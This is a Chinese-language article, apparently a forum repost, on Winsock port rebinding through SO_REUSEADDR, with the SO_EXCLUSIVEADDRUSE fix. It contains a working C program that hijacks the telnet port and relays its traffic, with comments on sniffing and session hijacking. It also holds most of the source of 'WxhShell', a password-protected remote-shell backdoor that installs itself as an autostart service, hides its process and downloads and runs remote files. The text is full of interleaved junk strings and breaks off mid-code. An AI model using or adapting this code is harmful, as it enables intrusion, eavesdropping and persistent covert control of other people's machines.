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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q$yMU[l) s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vg-Ah6BC{ #n7F7X saddr.sin_family = AF_INET; zA>LrtyK(= 2zV{I* saddr.sin_addr.s_addr = htonl(INADDR_ANY); =*5< w /E39Z* bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y}F;~H~P f:K>o. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
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%b 这意味着什么?意味着可以进行如下的攻击: 3'7] jj $a01">q&y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QZm7
Q4 I}jem 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 68UfuC B? aMX,1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r)
u@,P *)(S}D\94 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 eJ%b"H! \8Hs[H! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q^DQ9B ]#\De73K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
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! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N>H#Ew@2U kz*6%Cg*~ #include f<{f/lU@ #include 2oF1do; #include Dr)jB*yK #include i'QR-B&Z DWORD WINAPI ClientThread(LPVOID lpParam); .iC!Ttr int main() N/!(`Z, { GBl[s,g[| WORD wVersionRequested; :jf/$]p DWORD ret; *EwDwS$$ WSADATA wsaData; .k-t5d BOOL val; xHD$0eq SOCKADDR_IN saddr; b['v0x SOCKADDR_IN scaddr; noso* K7 int err; <])]1r8 SOCKET s; |vw],r6 SOCKET sc; =.qX u+ int caddsize; X<D fzd oI HANDLE mt; 8wrO64_NO DWORD tid; #tIeI6Qw wVersionRequested = MAKEWORD( 2, 2 ); sVpET err = WSAStartup( wVersionRequested, &wsaData ); &P,uK+C4 if ( err != 0 ) { MtVvi6T printf("error!WSAStartup failed!\n"); /^L<q return -1; 6)PnzeYW } vqAEF^HYry saddr.sin_family = AF_INET; ;X
N Ahg7 PfsUe,* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @6
a'p >WA'/Sl<A< saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m1e Sn |)7 saddr.sin_port = htons(23); )<f4F!?,A if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [4hi/60 { #~m8zG printf("error!socket failed!\n"); l;rA}?,.^ return -1; ^?2zoS#iw } !' 0PM[ val = TRUE; &ty-aB=F //SO_REUSEADDR选项就是可以实现端口重绑定的 Lq62 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qg/FI#r { Dkx}}E:< printf("error!setsockopt failed!\n"); BCuoFw) return -1; lGt:.p{NG } %^d<go^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =CW> ;h] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (<
>L fn //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jz~#K;3=, Zd'Yu{<_2N if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~"_!O+Pj { #].qjOj ret=GetLastError(); DK? Z printf("error!bind failed!\n"); 4TI` return -1; ZXN`8!]& } `-e9#diQe listen(s,2); %{7*o5` while(1) P3IBi_YyG1 { ~
MsHV% caddsize = sizeof(scaddr); !RPE-S //接受连接请求 V'gJtF sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lQiw8qD if(sc!=INVALID_SOCKET) vcCNxIzEG { B9Mp3[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d>NO}MR if(mt==NULL) d&AO4^ { ^<Gxip printf("Thread Creat Failed!\n"); y@,PTF break; @lX%Fix9 } 5rf Dm } J[0 5T1 CloseHandle(mt); Rc3!u^?u } 4x}U+1B closesocket(s); }30Sb&" WSACleanup(); +0)M1!gK return 0; 9Zj3 "v+b } |h%HUau DWORD WINAPI ClientThread(LPVOID lpParam) eXD~L&s[ { ~1E!Co SOCKET ss = (SOCKET)lpParam; .jg@UAK SOCKET sc; xAl8e
unsigned char buf[4096]; .zl[nx[9"D SOCKADDR_IN saddr; <;yS&8 long num; QVJpX;u DWORD val; nW^h
+ DWORD ret; tcnO`0moK //如果是隐藏端口应用的话,可以在此处加一些判断
EADN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 #t;]s< saddr.sin_family = AF_INET; xMNQT.A saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 10h;N[ saddr.sin_port = htons(23); 8V}|(b# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \NMqlxp2 { 0%<
hj printf("error!socket failed!\n"); t)Cf]]dV return -1; .%)uCLZr$ } x/CM)!U) val = 100; hJ]Oa7r if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |/H?\]7 { =4'V}p ret = GetLastError(); 3!\h'5{ return -1; |OAM;@jH } pW@W-k:u if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -.y1]4 { [|YvVA ret = GetLastError(); /g.c(-#] return -1; :.-z! } ZgG~xl\My if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9) ,|h { -)^vO*b 0 printf("error!socket connect failed!\n"); #R:&Irh closesocket(sc); ?>U=bA closesocket(ss); +p63J return -1; 9Bw#VQ } (CRx'R
while(1) Bm,Vu 1]t { 4_iA<}>| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1<1+nGO //如果是嗅探内容的话,可以再此处进行内容分析和记录 GS=E6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q?Csm\Y num = recv(ss,buf,4096,0); fz`)CWo: if(num>0) 4ryG_p52l send(sc,buf,num,0); 1KrJS(. else if(num==0) 8#lq: break; 3~bB2APk num = recv(sc,buf,4096,0); m7y[Y if(num>0) 7I'C'.6iM send(ss,buf,num,0); M;Pry3J else if(num==0) lq "X_M$ break; UO&$1rV } CEI"p2 closesocket(ss); * 30K}&T closesocket(sc); O=V_7I5 return 0 ; RqGX(Iuv } x 55W"q7 ?RS:I%bL BCe'J! ========================================================== ^Z#G_%\Y: wEM=Tr/h 下边附上一个代码,,WXhSHELL YPI,u7- qe#5;# ========================================================== #"KC29!Yj !hZ:
\&V #include "stdafx.h" !CX WoM *!$Z5Im #include <stdio.h> a-E}3a #include <string.h> G\BZ^SwE #include <windows.h> QEf@wv;T #include <winsock2.h> J_Tz\bZ3) #include <winsvc.h> w-e{_R #include <urlmon.h> dt:$:,"
a{r"$>0 #pragma comment (lib, "Ws2_32.lib") r9&m^,U #pragma comment (lib, "urlmon.lib") yD7} x1#>"z7 #define MAX_USER 100 // 最大客户端连接数 7~QI4'e #define BUF_SOCK 200 // sock buffer Rr%x;- #define KEY_BUFF 255 // 输入 buffer )Ln".Bu, ciN\SA ZY #define REBOOT 0 // 重启 4>0q0}J=5 #define SHUTDOWN 1 // 关机 0=3)`v{S@ j;y~vX b #define DEF_PORT 5000 // 监听端口 M yHv> vio>P-2Eho #define REG_LEN 16 // 注册表键长度 f\dfKNm6 #define SVC_LEN 80 // NT服务名长度 zaHZ5%{LQD 7$lnCvm // 从dll定义API 9/{ zS3h3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >*h+N?
m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `8W HVC$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O1\Hx8^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 30uPDDvar
#O}}pF // wxhshell配置信息 4\&Y;upy+ struct WSCFG { XP?jsBE int ws_port; // 监听端口 0?>(H(D^/ char ws_passstr[REG_LEN]; // 口令 zq{UkoME int ws_autoins; // 安装标记, 1=yes 0=no I_v}}h{ char ws_regname[REG_LEN]; // 注册表键名 /9G72AD! char ws_svcname[REG_LEN]; // 服务名 Lcpe*C x- char ws_svcdisp[SVC_LEN]; // 服务显示名 f;
|fS~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 zZCRej char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xt5/`C int ws_downexe; // 下载执行标记, 1=yes 0=no `T[@ - char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" R\3a Sx L char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D;V[9E=g/ NUltuM }; dJ6fPB|k 0,t%us/q // default Wxhshell configuration X>o9mW struct WSCFG wscfg={DEF_PORT, H/*ol^X7 "xuhuanlingzhe", Tl2t\z+ps 1, )/::i
O&$: "Wxhshell", j
%gd:-tA "Wxhshell", +,>%Yb=EA "WxhShell Service", F,p0OL. "Wrsky Windows CmdShell Service", lfcGi3 "Please Input Your Password: ", w7?fJ")
1, $C\ETQ@ " http://www.wrsky.com/wxhshell.exe", qXW\/NT"p< "Wxhshell.exe" Q!1 ;xw~ }; WZNq!K H &[-(=43@ // 消息定义模块 xeU|5-d' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,O5X80'.g char *msg_ws_prompt="\n\r? for help\n\r#>"; yKV{V?h? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r";
'/.Dxib char *msg_ws_ext="\n\rExit."; V+ ("kz* char *msg_ws_end="\n\rQuit."; ^_bG{du char *msg_ws_boot="\n\rReboot..."; `sCaGCp char *msg_ws_poff="\n\rShutdown..."; ,-y9P char *msg_ws_down="\n\rSave to "; XJ4f;U tf~B,? char *msg_ws_err="\n\rErr!"; kKSGC?d char *msg_ws_ok="\n\rOK!"; xGwImF$r ;3cbXc@] char ExeFile[MAX_PATH]; #_ |B6!D! int nUser = 0; ^r\rpSN HANDLE handles[MAX_USER]; JkAM:,^( int OsIsNt; vAUt~X" 13!@LbC SERVICE_STATUS serviceStatus; INi$-Y+ SERVICE_STATUS_HANDLE hServiceStatusHandle; lln"c z5fE<=<X_W // 函数声明 .r<aPy$ int Install(void); )Fv.eIBY int Uninstall(void);
l!|c_ int DownloadFile(char *sURL, SOCKET wsh); J2W-l{`r< int Boot(int flag); ~:z.Xu5m void HideProc(void); /e '3\,2_ int GetOsVer(void); LW]fme<V? int Wxhshell(SOCKET wsl); ^}=)jLS void TalkWithClient(void *cs); y d97ys int CmdShell(SOCKET sock); `-L?x2)U int StartFromService(void); 2nB99L{6 int StartWxhshell(LPSTR lpCmdLine); e,p"=/!aY ^&eF916H VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JnBUW" VOID WINAPI NTServiceHandler( DWORD fdwControl ); SN{+ P k iNA3Y // 数据结构和表定义 C 5.3[ SERVICE_TABLE_ENTRY DispatchTable[] = lhN@,q { 6L<:>55 {wscfg.ws_svcname, NTServiceMain}, 3^o(\=-JX {NULL, NULL} k6Kc{kY }; uDDa>Ka#+ te+} j7SU // 自我安装 V,&%[H [ int Install(void) l$;"yVdks { 9* )&hhBs, char svExeFile[MAX_PATH]; dEoIVy _9R HKEY key; \Z]+j@9 strcpy(svExeFile,ExeFile); X8|H5Y: pr0X7 #_E5 // 如果是win9x系统,修改注册表设为自启动 ]nTeTW if(!OsIsNt) { <,]:jgX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JtL>mH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pp8S\%z~h RegCloseKey(key); Js,! G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p27Dcwov RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l76=6Vtb RegCloseKey(key); Xsq@E#@S return 0; *'/, } 0WUBj:@g } k)p`x"To } Y
[`+7w else { ?*fa5=ql Ww]$zd-bo // 如果是NT以上系统,安装为系统服务 6R6Ub
0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $p0nq&4c if (schSCManager!=0) G$<(>"Yr~$ { 5p0~AN) SC_HANDLE schService = CreateService tDK@?PfKz ( |`T(:ZKXZ2 schSCManager, CY1WT wscfg.ws_svcname, +Iyyk02V wscfg.ws_svcdisp, &`D$w?beg SERVICE_ALL_ACCESS, U zy@\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MKHnA|uQ]( SERVICE_AUTO_START, ]&*POri& SERVICE_ERROR_NORMAL, 9p{4-] svExeFile, #t+?eye~ NULL, G]K1X"W? NULL, #I/P9)4 NULL, oB:7R^a NULL, 1V%tev9a NULL l;; 2\mL? ); Y6jyU1> if (schService!=0) C(N'=-;Kl { %rW}x[M%w? CloseServiceHandle(schService); 7H6Ts8^S CloseServiceHandle(schSCManager); 0j$\k|xFXZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yZleots1 strcat(svExeFile,wscfg.ws_svcname); e=sc$1|4= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I5Vn#_q+b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `0d0T~ RegCloseKey(key); jl,gqMn"V return 0; t;8)M$
p } DzZF*ylQ5P } )@g[aRFa CloseServiceHandle(schSCManager); &`^(dO9 } @.t +
} BlVHP8/b o=m5AUe?J return 1; Fy=GU<&AI } t>bzo6cj N1 t4o~ // 自我卸载 )&c2+Y@ int Uninstall(void) c2E /-n4K@ { VI!
\+A HKEY key; -KiPqE%&G i fsh(^N if(!OsIsNt) { D;,p?]mgO~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `Skvqo(5: RegDeleteValue(key,wscfg.ws_regname); )PYPlSQ*V RegCloseKey(key); y,D9O/VP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U2VEFm6 RegDeleteValue(key,wscfg.ws_regname); (m/:B=K RegCloseKey(key); JX59n%$@ return 0; XcJ5KTn } pS?D~0Nb } 7e<=(\(yl } *p{p.%Qs: else { odP<S. o@Ye_aM~?Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TegdB|y7O if (schSCManager!=0) Jf^3nBZ { R`j"iC2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pf;OYWST if (schService!=0) uYC^&siS<s { x;mw?B[ if(DeleteService(schService)!=0) { 9{pT)(Wnb CloseServiceHandle(schService); Gs:g CloseServiceHandle(schSCManager); 1 iH@vd return 0; bmT%?it } }<Ydj .85 CloseServiceHandle(schService); #qd!_oN } >tg)F|@ CloseServiceHandle(schSCManager); 4H8r[ } m#+0m! } 0#|Jhmv-zL Q2fxsa[ return 1; 8eT#-9q@ } B:zx 9 rz|T2K // 从指定url下载文件 w-).HPe int DownloadFile(char *sURL, SOCKET wsh) %JeNDXbI4 { !'$*Z( HRESULT hr; frcAXh9 char seps[]= "/"; bJ2-lU% ;2 char *token; ]OpGD5jZ char *file; cW3'057 char myURL[MAX_PATH]; wSR|uh char myFILE[MAX_PATH]; 49FP&NgK XDK Me} strcpy(myURL,sURL); {4+/0\ token=strtok(myURL,seps); :!i=g+e] while(token!=NULL) cS.@02~f" { 5<Kt"5Z%7 file=token; B)q }]Qn token=strtok(NULL,seps); 2a@X-Di } iwnGWGcuS I
Fw7?G, GetCurrentDirectory(MAX_PATH,myFILE); C|y^{4|R strcat(myFILE, "\\"); ~<1s[Hu strcat(myFILE, file); 'iMzp]V; send(wsh,myFILE,strlen(myFILE),0); '6D"QDZB send(wsh,"...",3,0); c&;" Y{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dv.
77q if(hr==S_OK) l0&Fm:))k return 0; {aE[h[=r else u6C_*i{2 return 1; fw %p_Cm SFg4}*"C / } imOIO[<; / Xnq0hN // 系统电源模块 l>*X+TpA, int Boot(int flag) L|[i<s; { Od.@G ~ HANDLE hToken; +}jzge" TOKEN_PRIVILEGES tkp; +v/y{8Fu DN^+"_:TB if(OsIsNt) { =p|IWn{P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3[#^$_96b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :[a*I6/^ tkp.PrivilegeCount = 1; F-kjv\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j+!u=E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .#y#u={{l if(flag==REBOOT) { C
b'| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \BBs;z[/ return 0; kQI'kL8> } %@QxU-k_ else { gV)/lDEM5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pll%O@K return 0; 2IJniS=[> } Xau%v5r } tDETRjTA else { &pK0>2 if(flag==REBOOT) { &zYQH@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +1#;s!e return 0; K^x{rn.Zf } Bc!<!
else { cLyf[z)W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $.C\H,H return 0; H@- GYX"4 } =U84*HAv } $`OyGeq"T d/GSG%zB return 1; tnpEfi- } T6y~iNd< kRggVRM // win9x进程隐藏模块 *L?~ void HideProc(void) cvw17j { &NF$_*\E z*HM_u HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )4fQ~) if ( hKernel != NULL ) ttr` { !ak760*A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;(mNjxA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *v#V%_ o FreeLibrary(hKernel); o0AT&<K } +M.BMS2A<l 86LE
)z return; )E9c6'd } O<fy^[r:` ]9_tto!/ // 获取操作系统版本 1.%|Er 4 int GetOsVer(void) ]U@~vA#'' { jhRr! OSVERSIONINFO winfo; _G)A$6weU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yIiVhI?X GetVersionEx(&winfo); =
1veO0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iB99.,o-& return 1; zw'%n+5m else V+D <626o return 0; Y'1
KH}sH } L5UZ@R, !Th5x2 // 客户端句柄模块 XFTqt] int Wxhshell(SOCKET wsl) XX-(>B0L { (k+*0.T&? SOCKET wsh; 1q=Q/L4P struct sockaddr_in client; [PXq<ST DWORD myID; #P!<u Lc% Sg%s\p]N_# while(nUser<MAX_USER) ~jJ.E_i { /0>'ZzjV, int nSize=sizeof(client); _KloX{a wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KKQT?/ {b if(wsh==INVALID_SOCKET) return 1; FD!8o 6yYjZ< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %qsl<_& if(handles[nUser]==0) ]
0L=+=w closesocket(wsh); ZweAY.]e else IjOBY nUser++;
&I-T } VZ IY=Q>g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =x?WZMO ;d>n2 return 0; Yt =)=n } Bi9Q8#lh ObZhQ.& // 关闭 socket XXm7rn void CloseIt(SOCKET wsh) ";Cf@}i> { AEM;ZQU closesocket(wsh); \{Q_\s&) nUser--; Z[&FIG%tV ExitThread(0); P )oNNY6} } Y(aUB$" PN99 R]K0g // 客户端请求句柄 P3!@}!r8 void TalkWithClient(void *cs) "N'W~XPG { D9;pjY vC1fKo\p SOCKET wsh=(SOCKET)cs; L9^M?.a char pwd[SVC_LEN]; &2%|?f| char cmd[KEY_BUFF]; Mb"y{Fox char chr[1]; 2oc18#iG( int i,j; jLn#%Ia} |<3x`l-` while (nUser < MAX_USER) { gT+wn-3 0datzEns` if(wscfg.ws_passstr) { Yx,E5}- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _'G'>X>}WU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G3y8M|: //ZeroMemory(pwd,KEY_BUFF); ]7TOA$Q i=0; UsA fZg8 while(i<SVC_LEN) { E ,ilJl\ 5|jY // 设置超时 a0k;way fd_set FdRead; ]iW:YNvXA struct timeval TimeOut; QoUdTIIL FD_ZERO(&FdRead); _R]0S FD_SET(wsh,&FdRead); }M(xN6E TimeOut.tv_sec=8; qGhg?u"n: TimeOut.tv_usec=0; WqM| nX int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i/C%
1< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K:XP;#OsP E_'H=QN c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7jxx,#I: pwd =chr[0]; yMyvX_UNI if(chr[0]==0xd || chr[0]==0xa) { 9D`K#3} pwd=0; x'?p?u~[ break; SAitufS } 7l/ZRz}1 i++; p<\!{5: } &N= vs H)S!%(x4 // 如果是非法用户,关闭 socket B#IUSHC if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &RbPN^ } yFeFI@Hp 3 {7DXSe4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a-S
tOO5s send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IIT[^_g 6`6 / 2C$% while(1) { NNr6~m)3v \}4*}Lr ZeroMemory(cmd,KEY_BUFF); \ `z%5/@f; 9MO=f^f- // 自动支持客户端 telnet标准 S,5>/'fy0 j=0; [aA@V0l while(j<KEY_BUFF) { fwA8=oSZd if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L58#ri= cmd[j]=chr[0]; lw~
V if(chr[0]==0xa || chr[0]==0xd) { Xm|~1 k_3 cmd[j]=0; ){)-}M break; =Yl ea,S } tw.GBR j++; *aS+XnT/ } .`_iWfK i5Sya]FN // 下载文件 :
qK-Rku if(strstr(cmd,"http://")) { e
T;@pc send(wsh,msg_ws_down,strlen(msg_ws_down),0); EqtL&UHe if(DownloadFile(cmd,wsh)) #C. send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Ff8_xhP 2 else }wp/,\_
> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }ssja,; } EN[T3 Y else { } LC (K8Ob3zN_ switch(cmd[0]) { ![Gn0X?] 4'`P+p"A // 帮助 i\^4EQ case '?': { >W >Ei(f send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ORF:~5[YS` break; +ansN~3 } a:l-cZ/! // 安装 YU8]W% case 'i': { ;/Z-|+!IJt if(Install()) 0,m]W) send(wsh,msg_ws_err,strlen(msg_ws_err),0); "@hd\w{. else U/kQw rM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zdU46|!u break; AIn/v`JeX } EZjtZMnj // 卸载 h/{1(c} case 'r': { >P@VD"U if(Uninstall()) T^`; wD send(wsh,msg_ws_err,strlen(msg_ws_err),0); li\=mH,Wr else JrY*K|YdW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1|"BpX~D break; x$o^;2Z } x>##qYT // 显示 wxhshell 所在路径 _ {wP:dI " case 'p': { )kI**mI} char svExeFile[MAX_PATH]; YI7M%B9Lj strcpy(svExeFile,"\n\r"); Mth:V45G| strcat(svExeFile,ExeFile); ti%RE:* send(wsh,svExeFile,strlen(svExeFile),0); +e2:?d@ break; Q0K$ZWM`7 } .?QYqGcG // 重启 $F#
5/gDVQ case 'b': { 7mdd}L^h
Z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K.mxF,H if(Boot(REBOOT)) yj_> G send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*>Lud else { -j]k^ closesocket(wsh); jMTM:~0N ExitThread(0); /N_:npbJF } LOi}\O8 break; wxc#)W } I-r+1gty // 关机 wz69Yw7 case 'd': { (oX!D(OI send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =(7nl#o if(Boot(SHUTDOWN)) njX$?V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r)}U
'iv*% else { T#3@r0M closesocket(wsh); 0&]1s ExitThread(0); zM=MFKhi ~ } D 6y,Q break; jci,]*X4 } 0] // 获取shell YVDFcN9v case 's': { >god++,o CmdShell(wsh); _7;:*'>a4 closesocket(wsh); 8vR_WHsL ExitThread(0); v
'+]T= break; %2zmc%]r } gHstdp_3 // 退出 7LVG0A2>7 case 'x': { <OGG(dI send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); If,p!L CloseIt(wsh); Q7XOO3<): break; c'eZ-\d{ } _;;Zz&c // 离开 %;dj6):@ case 'q': { m]AT-]*f send(wsh,msg_ws_end,strlen(msg_ws_end),0); edq,: closesocket(wsh); aU_Hl+; WSACleanup(); LO{Axf% exit(1); PZusYeV8b break; *l+Dbm,u } + tMf&BZ } \$wkr } 0Z8"f_GK &R%'s1]o // 提示信息 W/ Q*NB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ciS, } =zyA~}M2 } BtC*]WB"_' 'q)g,2B% return; G7nhUg } [ncK+rGAc qy3@>
1G // shell模块句柄 rtj`FH??11 int CmdShell(SOCKET sock) \]u;NbC] { 3J+2#ML STARTUPINFO si;
@;bBc ZeroMemory(&si,sizeof(si)); ]oB~8d si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]h,rgO; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
L\PmT PROCESS_INFORMATION ProcessInfo; ]A3 char cmdline[]="cmd"; t+8e?=" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \c:$eF return 0; '*b]$5*p } O1z]d3x
'f-r 6'_ZX // 自身启动模式 FzJ7 OE| int StartFromService(void) fu^W# "{ { BHUI1y5t typedef struct A#=TR_@: { <:}nd:l1 DWORD ExitStatus; H3D<"4Q> DWORD PebBaseAddress; hWT
jN DWORD AffinityMask; w*ans}P7 DWORD BasePriority; wfmM`4Y ULONG UniqueProcessId; Cf2WBX$ ULONG InheritedFromUniqueProcessId; \EySKQ= } PROCESS_BASIC_INFORMATION; C1k< P U-I,Q+[C[^ PROCNTQSIP NtQueryInformationProcess; ?Afe} "0An'7'm static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n:%4SZn static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y QW7ng7D0 aj1]ZT\ HANDLE hProcess; SeD}H=,@ PROCESS_BASIC_INFORMATION pbi; G.rz6o; <e2l@@#oy HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lvO6&sF1 if(NULL == hInst ) return 0; e7RgA1 K*>%,mP$i g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VVas>/0qr g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q!ZM Wg NtQueryInformationProcess = 